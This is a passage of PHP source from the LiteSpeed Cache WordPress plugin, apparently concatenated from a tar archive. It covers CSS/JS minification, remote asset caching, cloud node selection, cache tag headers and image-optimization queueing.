'/font-display\s*:\s*[^;\}]+;?/is', "font-display:$optimize_value;", $block_content ); } return "@font-face{ $block_content }"; }, $content ); } /** * Load a single file * * @since 4.0 */ public function optm_snippet( $content, $file_type, $minify, $src, $media = false ) { // CSS related features if ($file_type == 'css') { // Font optimize $content = $this->optm_font_face( $content ); $content = preg_replace('/@charset[^;]+;\\s*/', '', $content); if ($media) { $content = '@media ' . $media . '{' . $content . "\n}"; } if ($minify) { $content = self::minify_css($content); } $content = $this->cls('CDN')->finalize($content); if ((defined('LITESPEED_GUEST_OPTM') || $this->conf(Base::O_IMG_OPTM_WEBP)) && $this->cls('Media')->webp_support()) { $content = $this->cls('Media')->replace_background_webp($content); } } else { if ($minify) { $content = self::minify_js($content); } else { $content = $this->_null_minifier($content); } $content .= "\n;"; } // Add filter $content = apply_filters('litespeed_optm_cssjs', $content, $file_type, $src); return $content; } /** * Load remote resource from cache if existed * * @since 4.7 */ private function load_cached_file( $url, $file_type ) { $file_path_prefix = $this->_build_filepath_prefix($file_type); $folder_name = LITESPEED_STATIC_DIR . $file_path_prefix; $to_be_deleted_folder = $folder_name . date('Ymd', strtotime('-2 days')); if (file_exists($to_be_deleted_folder)) { Debug2::debug('[Optimizer] ❌ Clearing folder [name] ' . $to_be_deleted_folder); File::rrmdir($to_be_deleted_folder); } $today_file = $folder_name . date('Ymd') . '/' . md5($url); if (file_exists($today_file)) { return File::read($today_file); } // Write file $res = wp_safe_remote_get($url); $res_code = wp_remote_retrieve_response_code($res); if (is_wp_error($res) || $res_code != 200) { Debug2::debug2('[Optimizer] ❌ Load Remote error [code] ' . $res_code); return false; } $con = wp_remote_retrieve_body($res); if (!$con) { return false; } Debug2::debug('[Optimizer] ✅ Save remote file to cache [name] ' . $today_file); File::save($today_file, $con, true); return $con; } /** * Load remote/local resource * * @since 3.5 */ public function load_file( $src, $file_type = 'css' ) { $real_file = Utility::is_internal_file($src); $postfix = pathinfo(parse_url($src, PHP_URL_PATH), PATHINFO_EXTENSION); if (!$real_file || $postfix != $file_type) { Debug2::debug2('[CSS] Load Remote [' . $file_type . '] ' . $src); $this_url = substr($src, 0, 2) == '//' ? set_url_scheme($src) : $src; $con = $this->load_cached_file($this_url, $file_type); if ($file_type == 'css') { $dirname = dirname($this_url) . '/'; $con = Lib\UriRewriter::prepend($con, $dirname); } } else { Debug2::debug2('[CSS] Load local [' . $file_type . '] ' . $real_file[0]); $con = File::read($real_file[0]); if ($file_type == 'css') { $dirname = dirname($real_file[0]); $con = Lib\UriRewriter::rewrite($con, $dirname); } } return $con; } /** * Minify CSS * * @since 2.2.3 * @access private */ public static function minify_css( $data ) { try { $obj = new Lib\CSS_JS_MIN\Minify\CSS(); $obj->add($data); return $obj->minify(); } catch (\Exception $e) { Debug2::debug('******[Optmer] minify_css failed: ' . $e->getMessage()); error_log('****** LiteSpeed Optimizer minify_css failed: ' . $e->getMessage()); return $data; } } /** * Minify JS * * Added exception capture when minify * * @since 2.2.3 * @access private */ public static function minify_js( $data, $js_type = '' ) { // For inline JS optimize, need to check if it's js type if ($js_type) { preg_match('#type=([\'"])(.+)\g{1}#isU', $js_type, $matches); if ($matches && $matches[2] != 'text/javascript') { Debug2::debug('******[Optmer] minify_js bypass due to type: ' . $matches[2]); return $data; } } try { $obj = new Lib\CSS_JS_MIN\Minify\JS(); $obj->add($data); return $obj->minify(); } catch (\Exception $e) { Debug2::debug('******[Optmer] minify_js failed: ' . $e->getMessage()); // error_log( '****** LiteSpeed Optimizer minify_js failed: ' . $e->getMessage() ); return $data; } } /** * Basic minifier * * @access private */ private function _null_minifier( $content ) { $content = str_replace("\r\n", "\n", $content); return trim($content); } /** * Check if the file is already min file * * @since 1.9 */ public function is_min( $filename ) { $basename = basename($filename); if (preg_match('/[-\.]min\.(?:[a-zA-Z]+)$/i', $basename)) { return true; } return false; } } cloud-node.trait.php000064400000013712152077520300010435 0ustar00_summary[ 'server.' . $service ] ) ) { unset( $this->_summary[ 'server.' . $service ] ); } if ( isset( $this->_summary[ 'server_date.' . $service ] ) ) { unset( $this->_summary[ 'server_date.' . $service ] ); } } self::save_summary(); self::debug( 'Cleared all local service node caches' ); } /** * Ping clouds to find the fastest node * * @since 3.0 * @access public * * @param string $service Service. * @param bool $force Force redetect. * @return string|false */ public function detect_cloud( $service, $force = false ) { if ( in_array( $service, self::$center_svc_set, true ) ) { return $this->_cloud_server; } if ( in_array( $service, self::$wp_svc_set, true ) ) { return $this->_cloud_server_wp; } // Check if the stored server needs to be refreshed if ( ! $force ) { if ( ! empty( $this->_summary[ 'server.' . $service ] ) && ! empty( $this->_summary[ 'server_date.' . $service ] ) && (int) $this->_summary[ 'server_date.' . $service ] > time() - 86400 * self::TTL_NODE ) { $server = $this->_summary[ 'server.' . $service ]; if ( false === strpos( $this->_cloud_server, 'preview.' ) && false === strpos( $server, 'preview.' ) ) { return $server; } if ( false !== strpos( $this->_cloud_server, 'preview.' ) && false !== strpos( $server, 'preview.' ) ) { return $server; } } } if ( ! $service || ! in_array( $service, self::$services, true ) ) { $msg = __( 'Cloud Error', 'litespeed-cache' ) . ': ' . $service; Admin_Display::error( $msg ); return false; } // Send request to Quic Online Service $json = $this->_post( self::SVC_D_NODES, [ 'svc' => $this->_maybe_queue( $service ) ] ); // Check if get list correctly if ( empty( $json['list'] ) || ! is_array( $json['list'] ) ) { self::debug( 'request cloud list failed: ', $json ); if ( $json ) { $msg = __( 'Cloud Error', 'litespeed-cache' ) . ": [Service] $service [Info] " . wp_json_encode( $json ); Admin_Display::error( $msg ); } return false; } // Ping closest cloud $valid_clouds = false; if ( ! empty( $json['list_preferred'] ) ) { $valid_clouds = $this->_get_closest_nodes( $json['list_preferred'], $service ); } if ( ! $valid_clouds ) { $valid_clouds = $this->_get_closest_nodes( $json['list'], $service ); } if ( ! $valid_clouds ) { return false; } // Check server load if ( in_array( $service, self::$services_load_check, true ) ) { // TODO $valid_cloud_loads = []; foreach ( $valid_clouds as $v ) { $response = wp_safe_remote_get( $v, [ 'timeout' => 5 ] ); if ( is_wp_error( $response ) ) { $error_message = $response->get_error_message(); self::debug( 'failed to do load checker: ' . $error_message ); continue; } $curr_load = \json_decode( $response['body'], true ); if ( ! empty( $curr_load['_res'] ) && 'ok' === $curr_load['_res'] && isset( $curr_load['load'] ) ) { $valid_cloud_loads[ $v ] = $curr_load['load']; } } if ( ! $valid_cloud_loads ) { $msg = __( 'Cloud Error', 'litespeed-cache' ) . ": [Service] $service [Info] " . __( 'No available Cloud Node after checked server load.', 'litespeed-cache' ); Admin_Display::error( $msg ); return false; } self::debug( 'Closest nodes list after load check', $valid_cloud_loads ); $qualified_list = array_keys( $valid_cloud_loads, min( $valid_cloud_loads ), true ); } else { $qualified_list = $valid_clouds; } $closest = $qualified_list[ array_rand( $qualified_list ) ]; self::debug( 'Chose node: ' . $closest ); // store data into option locally $this->_summary[ 'server.' . $service ] = $closest; $this->_summary[ 'server_date.' . $service ] = time(); self::save_summary(); return $this->_summary[ 'server.' . $service ]; } /** * Ping to choose the closest nodes * * @since 7.0 * * @param array $nodes_list Node list. * @param string $service Service. * @return array|false */ private function _get_closest_nodes( $nodes_list, $service ) { $speed_list = []; foreach ( $nodes_list as $v ) { // Exclude possible failed 503 nodes if ( ! empty( $this->_summary['disabled_node'] ) && ! empty( $this->_summary['disabled_node'][ $v ] ) && time() - (int) $this->_summary['disabled_node'][ $v ] < 86400 ) { continue; } $speed_list[ $v ] = Utility::ping( $v ); } if ( ! $speed_list ) { self::debug( 'nodes are in 503 failed nodes' ); return false; } $min = min( $speed_list ); if ( 99999 === (int) $min ) { self::debug( 'failed to ping all clouds' ); return false; } // Random pick same time range ip (230ms 250ms) $range_len = strlen( $min ); $range_num = substr( $min, 0, 1 ); $valid_clouds = []; foreach ( $speed_list as $node => $speed ) { if ( strlen( $speed ) === $range_len && substr( $speed, 0, 1 ) === $range_num ) { $valid_clouds[] = $node; } elseif ( $speed < $min * 4 ) { // Append the lower speed ones $valid_clouds[] = $node; } } if ( ! $valid_clouds ) { $msg = __( 'Cloud Error', 'litespeed-cache' ) . ": [Service] $service [Info] " . __( 'No available Cloud Node.', 'litespeed-cache' ); Admin_Display::error( $msg ); return false; } self::debug( 'Closest nodes list', $valid_clouds ); return $valid_clouds; } /** * May need to convert to queue service * * @param string $service Service. * @return string */ private function _maybe_queue( $service ) { if ( in_array( $service, self::$_queue_svc_set, true ) ) { return self::SVC_QUEUE; } return $service; } } tag.cls.php000064400000022411152077520300006611 0ustar00conf(Base::O_CACHE_PAGE_LOGIN)) { return; } if (Control::isset_notcacheable()) { return; } if (!empty($_GET)) { Control::set_nocache('has GET request'); return; } $this->cls('Control')->set_cacheable(); self::add(self::TYPE_LOGIN); // we need to send lsc-cookie manually to make it be sent to all other users when is cacheable $list = headers_list(); if (empty($list)) { return; } foreach ($list as $hdr) { if (strncasecmp($hdr, 'set-cookie:', 11) == 0) { $cookie = substr($hdr, 12); @header('lsc-cookie: ' . $cookie, false); } } } /** * Register purge tag for pages with recent posts widget * of the plugin. * * @since 1.0.15 * @access public * @param array $params [WordPress params for widget_posts_args] */ public function add_widget_recent_posts( $params ) { self::add(self::TYPE_PAGES_WITH_RECENT_POSTS); return $params; } /** * Adds cache tags to the list of cache tags for the current page. * * @since 1.0.5 * @access public * @param mixed $tags A string or array of cache tags to add to the current list. */ public static function add( $tags ) { if (!is_array($tags)) { $tags = array( $tags ); } Debug2::debug('💰 [Tag] Add ', $tags); self::$_tags = array_merge(self::$_tags, $tags); // Send purge header immediately $tag_header = self::cls()->output(true); @header($tag_header); } /** * Add a post id to cache tag * * @since 3.0 * @access public */ public static function add_post( $pid ) { self::add(self::TYPE_POST . $pid); } /** * Add a widget id to cache tag * * @since 3.0 * @access public */ public static function add_widget( $id ) { self::add(self::TYPE_WIDGET . $id); } /** * Add a private ESI to cache tag * * @since 3.0 * @access public */ public static function add_private_esi( $tag ) { self::add_private(self::TYPE_ESI . $tag); } /** * Adds private cache tags to the list of cache tags for the current page. * * @since 1.6.3 * @access public * @param mixed $tags A string or array of cache tags to add to the current list. */ public static function add_private( $tags ) { if (!is_array($tags)) { $tags = array( $tags ); } self::$_tags_priv = array_merge(self::$_tags_priv, $tags); } /** * Return tags for Admin QS * * @since 1.1.3 * @access public */ public static function output_tags() { return self::$_tags; } /** * Will get a hash of the URI. Removes query string and appends a '/' if it is missing. * * @since 1.0.12 * @access public * @param string $uri The uri to get the hash of. * @param boolean $ori Return the original url or not * @return bool|string False on input error, hash otherwise. */ public static function get_uri_tag( $uri, $ori = false ) { $no_qs = strtok($uri, '?'); if (empty($no_qs)) { return false; } $slashed = trailingslashit($no_qs); // If only needs uri tag if ($ori) { return $slashed; } if (defined('LSCWP_LOG')) { return self::TYPE_URL . $slashed; } return self::TYPE_URL . md5($slashed); } /** * Get the unique tag based on self url. * * @since 1.1.3 * @access public * @param boolean $ori Return the original url or not */ public static function build_uri_tag( $ori = false ) { return self::get_uri_tag(urldecode($_SERVER['REQUEST_URI']), $ori); } /** * Gets the cache tags to set for the page. * * This includes site wide post types (e.g. front page) as well as * any third party plugin specific cache tags. * * @since 1.0.0 * @access private * @return array The list of cache tags to set. */ private static function _build_type_tags() { $tags = array(); $tags[] = Utility::page_type(); $tags[] = self::build_uri_tag(); if (is_front_page()) { $tags[] = self::TYPE_FRONTPAGE; } elseif (is_home()) { $tags[] = self::TYPE_HOME; } global $wp_query; if (isset($wp_query)) { $queried_obj_id = get_queried_object_id(); if (is_archive()) { // An Archive is a Category, Tag, Author, Date, Custom Post Type or Custom Taxonomy based pages. if (is_category() || is_tag() || is_tax()) { $tags[] = self::TYPE_ARCHIVE_TERM . $queried_obj_id; } elseif (is_post_type_archive() && ($post_type = get_post_type())) { $tags[] = self::TYPE_ARCHIVE_POSTTYPE . $post_type; } elseif (is_author()) { $tags[] = self::TYPE_AUTHOR . $queried_obj_id; } elseif (is_date()) { global $post; if ($post && isset($post->post_date)) { $date = $post->post_date; $date = strtotime($date); if (is_day()) { $tags[] = self::TYPE_ARCHIVE_DATE . date('Ymd', $date); } elseif (is_month()) { $tags[] = self::TYPE_ARCHIVE_DATE . date('Ym', $date); } elseif (is_year()) { $tags[] = self::TYPE_ARCHIVE_DATE . date('Y', $date); } } } } elseif (is_singular()) { // $this->is_singular = $this->is_single || $this->is_page || $this->is_attachment; $tags[] = self::TYPE_POST . $queried_obj_id; if (is_page()) { $tags[] = self::TYPE_PAGES; } } elseif (is_feed()) { $tags[] = self::TYPE_FEED; } } // Check REST API if (REST::cls()->is_rest()) { $tags[] = self::TYPE_REST; $path = !empty($_SERVER['SCRIPT_URL']) ? $_SERVER['SCRIPT_URL'] : false; if ($path) { // posts collections tag if (substr($path, -6) == '/posts') { $tags[] = self::TYPE_LIST; // Not used for purge yet } // single post tag global $post; if (!empty($post->ID) && substr($path, -strlen($post->ID) - 1) === '/' . $post->ID) { $tags[] = self::TYPE_POST . $post->ID; } // pages collections & single page tag if (stripos($path, '/pages') !== false) { $tags[] = self::TYPE_PAGES; } } } // Append AJAX action tag if (Router::is_ajax() && !empty($_REQUEST['action'])) { $tags[] = self::TYPE_AJAX . $_REQUEST['action']; } return $tags; } /** * Generate all cache tags before output * * @access private * @since 1.1.3 */ private static function _finalize() { // run 3rdparty hooks to tag do_action('litespeed_tag_finalize'); // generate wp tags if (!defined('LSCACHE_IS_ESI')) { $type_tags = self::_build_type_tags(); self::$_tags = array_merge(self::$_tags, $type_tags); } if (defined('LITESPEED_GUEST') && LITESPEED_GUEST) { self::$_tags[] = 'guest'; } // append blog main tag self::$_tags[] = ''; // removed duplicates self::$_tags = array_unique(self::$_tags); } /** * Sets up the Cache Tags header. * ONLY need to run this if is cacheable * * @since 1.1.3 * @access public * @return string empty string if empty, otherwise the cache tags header. */ public function output( $no_finalize = false ) { if (defined('LSCACHE_NO_CACHE') && LSCACHE_NO_CACHE) { return; } if (!$no_finalize) { self::_finalize(); } $prefix_tags = array(); /** * Only append blog_id when is multisite * * @since 2.9.3 */ $prefix = LSWCP_TAG_PREFIX . (is_multisite() ? get_current_blog_id() : '') . '_'; // If is_private and has private tags, append them first, then specify prefix to `public` for public tags if (Control::is_private()) { foreach (self::$_tags_priv as $priv_tag) { $prefix_tags[] = $prefix . $priv_tag; } $prefix = 'public:' . $prefix; } foreach (self::$_tags as $tag) { $prefix_tags[] = $prefix . $tag; } $hdr = self::X_HEADER . ': ' . implode(',', $prefix_tags); return $hdr; } } img-optm-send.trait.php000064400000053626152077520300011074 0ustar00_existed_src_list ) { // To aavoid extra query when recalling this function self::debug( 'SELECT src from img_optm table' ); if ( $this->__data->tb_exist( 'img_optm' ) ) { $q = "SELECT src FROM `$this->_table_img_optm` WHERE post_id = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $q, $post_id ) ); foreach ( $list as $v ) { $this->_existed_src_list[] = $post_id . '.' . $v->src; } } if ( $this->__data->tb_exist( 'img_optming' ) ) { $q = "SELECT src FROM `$this->_table_img_optming` WHERE post_id = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $q, $post_id ) ); foreach ( $list as $v ) { $this->_existed_src_list[] = $post_id . '.' . $v->src; } } else { $this->__data->tb_create( 'img_optming' ); } } // Prepare images $this->tmp_pid = $post_id; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_append_img_queue( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { foreach ( $meta_value['sizes'] as $img_size_name => $img_size ) { $this->_append_img_queue( $img_size, false, $img_size_name ); } } if ( ! $this->_img_in_queue ) { self::debug( 'auto update attachment meta 2 bypass: empty _img_in_queue' ); return; } // Save to DB $this->_save_raw(); // $this->_send_request(); } /** * Auto send optm request * * @since 2.4.1 * @access public */ public static function cron_auto_request() { if ( ! wp_doing_cron() ) { return false; } $instance = self::cls(); $instance->new_req(); } /** * Calculate wet run allowance * * @since 3.0 * @return int|false The wet limit or false if no limit. */ public function wet_limit() { $wet_limit = 1; if ( ! empty( $this->_summary['img_taken'] ) ) { $wet_limit = pow( $this->_summary['img_taken'], 2 ); } if ( 1 === $wet_limit && ! empty( $this->_summary[ 'img_status.' . self::STATUS_ERR_OPTM ] ) ) { $wet_limit = pow( $this->_summary[ 'img_status.' . self::STATUS_ERR_OPTM ], 2 ); } if ( $wet_limit < Cloud::IMG_OPTM_DEFAULT_GROUP ) { return $wet_limit; } // No limit return false; } /** * Push raw img to image optm server * * @since 1.6 * @access public */ public function new_req() { global $wpdb; // check if is running if ( ! empty( $this->_summary['is_running'] ) && time() - $this->_summary['is_running'] < apply_filters( 'litespeed_imgoptm_new_req_interval', 3600 ) ) { self::debug( 'The previous req was in 3600s.' ); return; } $this->_summary['is_running'] = time(); self::save_summary(); // Check if has credit to push $err = false; $allowance = Cloud::cls()->allowance( Cloud::SVC_IMG_OPTM, $err ); $wet_limit = $this->wet_limit(); self::debug( "allowance_max $allowance wet_limit $wet_limit" ); if ( $wet_limit && $wet_limit < $allowance ) { $allowance = $wet_limit; } if ( ! $allowance ) { self::debug( '❌ No credit' ); Admin_Display::error( Error::msg( $err ) ); $this->_finished_running(); return; } self::debug( 'preparing images to push' ); $this->__data->tb_create( 'img_optming' ); $q = "SELECT COUNT(1) FROM `$this->_table_img_optming` WHERE optm_status = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $q, [ self::STATUS_REQUESTED ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $total_requested = $wpdb->get_var( $q ); $max_requested = $allowance * 1; if ( $total_requested > $max_requested ) { self::debug( '❌ Too many queued images (' . $total_requested . ' > ' . $max_requested . ')' ); Admin_Display::error( Error::msg( 'too_many_requested' ) ); $this->_finished_running(); return; } $allowance -= $total_requested; if ( $allowance < 1 ) { self::debug( '❌ Too many requested images ' . $total_requested ); Admin_Display::error( Error::msg( 'too_many_requested' ) ); $this->_finished_running(); return; } // Limit maximum number of items waiting to be pulled $q = "SELECT COUNT(1) FROM `$this->_table_img_optming` WHERE optm_status = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $q, [ self::STATUS_NOTIFIED ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $total_notified = $wpdb->get_var( $q ); if ( $total_notified > 0 ) { self::debug( '❌ Too many notified images (' . $total_notified . ')' ); Admin_Display::error( Error::msg( 'too_many_notified' ) ); $this->_finished_running(); return; } $q = "SELECT COUNT(1) FROM `$this->_table_img_optming` WHERE optm_status IN (%d, %d)"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $q, [ self::STATUS_NEW, self::STATUS_RAW ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $total_new = $wpdb->get_var( $q ); // $allowance -= $total_new; // May need to get more images $list = []; $more = $allowance - $total_new; if ( $more > 0 ) { $q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.ID>%d AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $q, [ $this->_summary['next_post_id'], $more ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $q ); foreach ( $list as $v ) { if ( ! $v->post_id ) { continue; } $this->_summary['next_post_id'] = $v->post_id; $meta_value = $this->_parse_wp_meta_value( $v ); if ( ! $meta_value ) { continue; } $meta_value['file'] = wp_normalize_path( $meta_value['file'] ); $basedir = $this->wp_upload_dir['basedir'] . '/'; if ( strpos( $meta_value['file'], $basedir ) === 0 ) { $meta_value['file'] = substr( $meta_value['file'], strlen( $basedir ) ); } $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_append_img_queue( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { foreach ( $meta_value['sizes'] as $img_size_name => $img_size ) { $this->_append_img_queue( $img_size, false, $img_size_name ); } } } self::save_summary(); $num_a = count( $this->_img_in_queue ); self::debug( 'Images found: ' . $num_a ); $this->_filter_duplicated_src(); self::debug( 'Images after duplicated: ' . count( $this->_img_in_queue ) ); $this->_filter_invalid_src(); self::debug( 'Images after invalid: ' . count( $this->_img_in_queue ) ); // Check w/ legacy imgoptm table, bypass finished images $this->_filter_legacy_src(); $num_b = count( $this->_img_in_queue ); if ( $num_b !== $num_a ) { self::debug( 'Images after filtered duplicated/invalid/legacy src: ' . $num_b ); } // Save to DB $this->_save_raw(); } // Push to Cloud server $accepted_imgs = $this->_send_request( $allowance ); $this->_finished_running(); if ( ! $accepted_imgs ) { return; } $placeholder1 = Admin_Display::print_plural( $accepted_imgs[0], 'image' ); $placeholder2 = Admin_Display::print_plural( $accepted_imgs[1], 'image' ); $msg = sprintf( __( 'Pushed %1$s to Cloud server, accepted %2$s.', 'litespeed-cache' ), $placeholder1, $placeholder2 ); Admin_Display::success( $msg ); } /** * Set running to done * * @since 3.0 * @access private */ private function _finished_running() { $this->_summary['is_running'] = 0; self::save_summary(); } /** * Add a new img to queue which will be pushed to request * * @since 1.6 * @since 7.5 Allow to choose which image sizes should be optimized + added parameter $img_size_name. * @access private * @param array $meta_value The meta value array. * @param bool $is_ori_file Whether this is the original file. * @param string|bool $img_size_name The image size name or false. */ private function _append_img_queue( $meta_value, $is_ori_file = false, $img_size_name = false ) { if ( empty( $meta_value['file'] ) || empty( $meta_value['width'] ) || empty( $meta_value['height'] ) ) { self::debug2( 'bypass image due to lack of file/w/h: pid ' . $this->tmp_pid, $meta_value ); return; } $short_file_path = $meta_value['file']; // Test if need to skip image size. if ( ! $is_ori_file ) { $short_file_path = $this->tmp_path . $short_file_path; $skip = false !== array_search( $img_size_name, $this->_sizes_skipped, true ); if ( $skip ) { self::debug2( 'bypass image ' . $short_file_path . ' due to skipped size: ' . $img_size_name ); return; } } // Check if src is gathered already or not if ( in_array( $this->tmp_pid . '.' . $short_file_path, $this->_existed_src_list, true ) ) { // Debug2::debug2( '[Img_Optm] bypass image due to gathered: pid ' . $this->tmp_pid . ' ' . $short_file_path ); return; } else { // Append handled images $this->_existed_src_list[] = $this->tmp_pid . '.' . $short_file_path; } // check file exists or not $_img_info = $this->__media->info( $short_file_path, $this->tmp_pid ); $extension = pathinfo( $short_file_path, PATHINFO_EXTENSION ); if ( ! $_img_info || ! in_array( $extension, [ 'jpg', 'jpeg', 'png', 'gif' ], true ) ) { self::debug2( 'bypass image due to file not exist: pid ' . $this->tmp_pid . ' ' . $short_file_path ); return; } // Check if optimized file exists or not $target_needed = false; if ( $this->_format ) { $target_file_path = $short_file_path . '.' . $this->_format; if ( ! $this->__media->info( $target_file_path, $this->tmp_pid ) ) { $target_needed = true; } } if ( $this->conf( self::O_IMG_OPTM_ORI ) ) { $target_file_path = substr( $short_file_path, 0, -strlen( $extension ) ) . 'bk.' . $extension; if ( ! $this->__media->info( $target_file_path, $this->tmp_pid ) ) { $target_needed = true; } } if ( ! $target_needed ) { self::debug2( 'bypass image due to optimized file exists: pid ' . $this->tmp_pid . ' ' . $short_file_path ); return; } // Debug2::debug2( '[Img_Optm] adding image: pid ' . $this->tmp_pid ); $this->_img_in_queue[] = [ 'pid' => $this->tmp_pid, 'md5' => $_img_info['md5'], 'url' => $_img_info['url'], 'src' => $short_file_path, // not needed in LiteSpeed IAPI, just leave for local storage after post 'mime_type' => ! empty( $meta_value['mime-type'] ) ? $meta_value['mime-type'] : '', ]; } /** * Save gathered image raw data * * @since 3.0 * @access private */ private function _save_raw() { if ( empty( $this->_img_in_queue ) ) { return; } $data = []; $pid_list = []; foreach ( $this->_img_in_queue as $k => $v ) { $_img_info = $this->__media->info( $v['src'], $v['pid'] ); // attachment doesn't exist, delete the record if ( empty( $_img_info['url'] ) || empty( $_img_info['md5'] ) ) { unset( $this->_img_in_queue[ $k ] ); continue; } $pid_list[] = (int) $v['pid']; $data[] = $v['pid']; $data[] = self::STATUS_RAW; $data[] = $v['src']; } global $wpdb; $fields = 'post_id, optm_status, src'; $q = "INSERT INTO `$this->_table_img_optming` ( $fields ) VALUES "; // Add placeholder $q .= Utility::chunk_placeholder( $data, $fields ); // Store data // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, $data ) ); $count = count( $this->_img_in_queue ); self::debug( 'Added raw images [total] ' . $count ); $this->_img_in_queue = []; // Save thumbnail groups for future rescan index $this->_gen_thumbnail_set(); $pid_list = array_unique( $pid_list ); self::debug( 'pid list to append to postmeta', $pid_list ); $pid_list = array_diff( $pid_list, $this->_pids_set ); $this->_pids_set = array_merge( $this->_pids_set, $pid_list ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $existed_meta = $wpdb->get_results( "SELECT * FROM `$wpdb->postmeta` WHERE post_id IN ('" . implode( "','", $pid_list ) . "') AND meta_key='" . self::DB_SET . "'" ); $existed_pid = []; if ( $existed_meta ) { foreach ( $existed_meta as $v ) { $existed_pid[] = $v->post_id; } self::debug( 'pid list to update postmeta', $existed_pid ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- $existed_pid is array of sanitized IDs $wpdb->prepare( "UPDATE `$wpdb->postmeta` SET meta_value=%s WHERE post_id IN (" . implode( ',', $existed_pid ) . ') AND meta_key=%s', [ $this->_thumbnail_set, self::DB_SET, ] ) ); } // Add new meta $new_pids = $existed_pid ? array_diff( $pid_list, $existed_pid ) : $pid_list; if ( $new_pids ) { self::debug( 'pid list to update postmeta', $new_pids ); foreach ( $new_pids as $v ) { self::debug( 'New group set info [pid] ' . $v ); $q = "INSERT INTO `$wpdb->postmeta` (post_id, meta_key, meta_value) VALUES (%d, %s, %s)"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, [ $v, self::DB_SET, $this->_thumbnail_set ] ) ); } } } /** * Generate thumbnail sets of current image group * * @since 5.4 * @access private */ private function _gen_thumbnail_set() { if ( $this->_thumbnail_set ) { return; } $set = []; foreach ( Media::cls()->get_image_sizes() as $size ) { $curr_size = $size['width'] . 'x' . $size['height']; if ( in_array( $curr_size, $set, true ) ) { continue; } $set[] = $curr_size; } $this->_thumbnail_set = implode( PHP_EOL, $set ); } /** * Filter duplicated src in work table and $this->_img_in_queue, then mark them as duplicated * * @since 2.0 * @access private */ private function _filter_duplicated_src() { global $wpdb; $srcpath_list = []; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $list = $wpdb->get_results( "SELECT src FROM `$this->_table_img_optming`" ); foreach ( $list as $v ) { $srcpath_list[] = $v->src; } foreach ( $this->_img_in_queue as $k => $v ) { if ( in_array( $v['src'], $srcpath_list, true ) ) { unset( $this->_img_in_queue[ $k ] ); continue; } $srcpath_list[] = $v['src']; } } /** * Filter legacy finished ones * * @since 5.4 * @access private */ private function _filter_legacy_src() { global $wpdb; if ( ! $this->__data->tb_exist( 'img_optm' ) ) { return; } if ( ! $this->_img_in_queue ) { return; } $finished_ids = []; Utility::compatibility(); $post_ids = array_unique( array_column( $this->_img_in_queue, 'pid' ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $list = $wpdb->get_results( "SELECT post_id FROM `$this->_table_img_optm` WHERE post_id in (" . implode( ',', $post_ids ) . ') GROUP BY post_id' ); foreach ( $list as $v ) { $finished_ids[] = $v->post_id; } foreach ( $this->_img_in_queue as $k => $v ) { if ( in_array( $v['pid'], $finished_ids, true ) ) { self::debug( 'Legacy image optimized [pid] ' . $v['pid'] ); unset( $this->_img_in_queue[ $k ] ); continue; } } // Drop all existing legacy records // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query( "DELETE FROM `$this->_table_img_optm` WHERE post_id in (" . implode( ',', $post_ids ) . ')' ); } /** * Filter the invalid src before sending * * @since 3.0.8.3 * @access private */ private function _filter_invalid_src() { $img_in_queue_invalid = []; foreach ( $this->_img_in_queue as $k => $v ) { if ( $v['src'] ) { $extension = pathinfo( $v['src'], PATHINFO_EXTENSION ); } if ( ! $v['src'] || empty( $extension ) || ! in_array( $extension, [ 'jpg', 'jpeg', 'png', 'gif' ], true ) ) { $img_in_queue_invalid[] = $v['id']; unset( $this->_img_in_queue[ $k ] ); continue; } } if ( ! $img_in_queue_invalid ) { return; } $count = count( $img_in_queue_invalid ); $msg = sprintf( __( 'Cleared %1$s invalid images.', 'litespeed-cache' ), $count ); Admin_Display::success( $msg ); self::debug( 'Found invalid src [total] ' . $count ); } /** * Push img 